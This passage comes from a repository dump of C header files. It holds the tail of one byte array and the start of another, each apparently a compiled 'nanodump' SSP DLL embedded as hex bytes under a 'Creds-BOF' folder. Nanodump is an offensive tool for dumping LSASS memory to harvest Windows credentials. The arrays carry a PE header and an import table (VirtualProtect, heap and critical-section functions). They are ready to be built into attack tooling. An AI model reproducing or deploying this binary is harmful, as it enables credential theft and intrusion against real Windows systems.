x00,0x00,0x6E,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x76,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x96,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xC2,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xCE,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xD6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xEA,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xF6,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0xFE,0x13,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x10,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x1A,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x26,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x30,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x3A,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x44,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x4C,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x56,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x5E,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x68,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x7C,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x86,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x94,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xA0,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xAA,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x14,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x19,0x01,0x44,0x65,0x6C,0x65,0x74,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x3D,0x01,0x45,0x6E,0x74,0x65,0x72,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0x74,0x02,0x47,0x65,0x74,0x4C,0x61,0x73,0x74,0x45,0x72,0x72,0x6F,0x72,0x00,0x00,0xCA,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x48,0x65,0x61,0x70,0x00,0x00,0x5D,0x03,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x63,0x03,0x48,0x65,0x61,0x70,0x46,0x72,0x65,0x65,0x00,0x00,0x7A,0x03,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0xD6,0x03,0x4C,0x65,0x61,0x76,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0x7F,0x05,0x53,0x6C,0x65,0x65,0x70,0x00,0xA2,0x05,0x54,0x6C,0x73,0x47,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x00,0xD1,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x00,0xD3,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x00,0x00,0x54,0x00,0x5F,0x5F,0x69,0x6F,0x62,0x5F,0x66,0x75,0x6E,0x63,0x00,0x00,0x78,0x00,0x5F,0x61,0x6D,0x73,0x67,0x5F,0x65,0x78,0x69,0x74,0x00,0x00,0x1D,0x01,0x5F,0x69,0x6E,0x69,0x74,0x74,0x65,0x72,0x6D,0x00,0x83,0x01,0x5F,0x6C,0x6F,0x63,0x6B,0x00,0xB3,0x02,0x5F,0x74,0x69,0x6D,0x65,0x36,0x34,0x00,0xCA,0x02,0x5F,0x75,0x6E,0x6C,0x6F,0x63,0x6B,0x00,0x0B,0x03,0x5F,0x77,0x63,0x73,0x69,0x63,0x6D,0x70,0x00,0x00,0x87,0x03,0x61,0x62,0x6F,0x72,0x74,0x00,0x98,0x03,0x63,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xC0,0x03,0x66,0x72,0x65,0x65,0x00,0x00,0xCD,0x03,0x66,0x77,0x72,0x69,0x74,0x65,0x00,0x00,0x00,0x04,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x00,0x00,0x04,0x04,0x6D,0x65,0x6D,0x63,0x6D,0x70,0x00,0x00,0x05,0x04,0x6D,0x65,0x6D,0x63,0x70,0x79,0x00,0x00,0x07,0x04,0x6D,0x65,0x6D,0x73,0x65,0x74,0x00,0x00,0x19,0x04,0x72,0x61,0x6E,0x64,0x00,0x00,0x1A,0x04,0x72,0x65,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x2E,0x04,0x73,0x72,0x61,0x6E,0x64,0x00,0x3C,0x04,0x73,0x74,0x72,0x6C,0x65,0x6E,0x00,0x00,0x3F,0x04,0x73,0x74,0x72,0x6E,0x63,0x6D,0x70,0x00,0x40,0x04,0x73,0x74,0x72,0x6E,0x63,0x70,0x79,0x00,0x43,0x04,0x73,0x74,0x72,0x72,0x63,0x68,0x72,0x00,0x4E,0x04,0x73,0x77,0x70,0x72,0x69,0x6E,0x74,0x66,0x5F,0x73,0x00,0x00,0x60,0x04,0x76,0x66,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x7B,0x04,0x77,0x63,0x73,0x6E,0x63,0x61,0x74,0x00,0x7E,0x04,0x77,0x63,0x73,0x6E,0x63,0x70,0x79,0x00,0x82,0x04,0x77,0x63,0x73,0x72,0x63,0x68,0x72,0x00,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x01,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x14,0x10,0x01,0x00,0x6D,0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x70,0x8A,0xD9,0x02,0x00,0x00,0x00,0xB0,0x70,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x0C,0x00,0x00,0x00,0xE8,0xA0,0x00,0x00,0x00,0x90,0x00,0x00,0x14,0x00,0x00,0x00,0x10,0xA0,0x40,0xA0,0x50,0xA0,0x58,0xA0,0x60,0xA0,0x00,0x00,0x00,0xA0,0x00,0x00,0x30,0x00,0x00,0x00,0xA0,0xA2,0xC0,0xA2,0xC8,0xA2,0xD0,0xA2,0xD8,0xA2,0x60,0xA4,0x70,0xA4,0x80,0xA4,0x90,0xA4,0xA0,0xA4,0xB0,0xA4,0xC0,0xA4,0xD0,0xA4,0xE0,0xA4,0xF0,0xA4,0x00,0xA5,0x10,0xA5,0x20,0xA5,0x30,0xA5,0x00,0x00,0x00,0x20,0x01,0x00,0x10,0x00,0x00,0x00,0x18,0xA0,0x30,0xA0,0x38,0xA0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};\nunsigned int nanodump_ssp_dll_len = 40448;\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump_ssp_dll.x86.h",
    "content": "#pragma once\n\nunsigned char nanodump_ssp_dll[] = {0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x0A,0x00,0x80,0x79,0x7A,0x68,0x00,0x92,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x0E,0x23,0x0B,0x01,0x02,0x29,0x00,0x5E,0x00,0x00,0x00,0x8E,0x00,0x00,0x00,0x1C,0x00,0x00,0xB0,0x13,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x00,0x88,0x6C,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x04,0x00,0x00,0x2E,0x82,0x01,0x00,0x03,0x00,0x40,0x01,0x00,0x00,0x20,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0xD0,0x00,0x00,0x52,0x00,0x00,0x00,0x00,0xE0,0x00,0x00,0x98,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x01,0x00,0xF8,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x82,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0xE0,0x00,0x00,0xB4,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0xA4,0x5D,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x5E,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x60,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x54,0x06,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x64,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2F,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x14,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x16,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x62,0x73,0x73,0x00,0x00,0x00,0x00,0x80,0x1A,0x00,0x00,0x00,0xB0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0xC0,0x2E,0x65,0x64,0x61,0x74,0x61,0x00,0x00,0x52,0x00,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x82,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00,0x98,0x04,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x84,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x43,0x52,0x54,0x00,0x00,0x00,0x00,0x2C,0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x8A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x74,0x6C,0x73,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x8C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0xF8,0x02,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x04,0x00,0x00,0x00,0x8E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0xC7,0x04,0x24,0x00,0xB0,0x88,0x6C,0xE8,0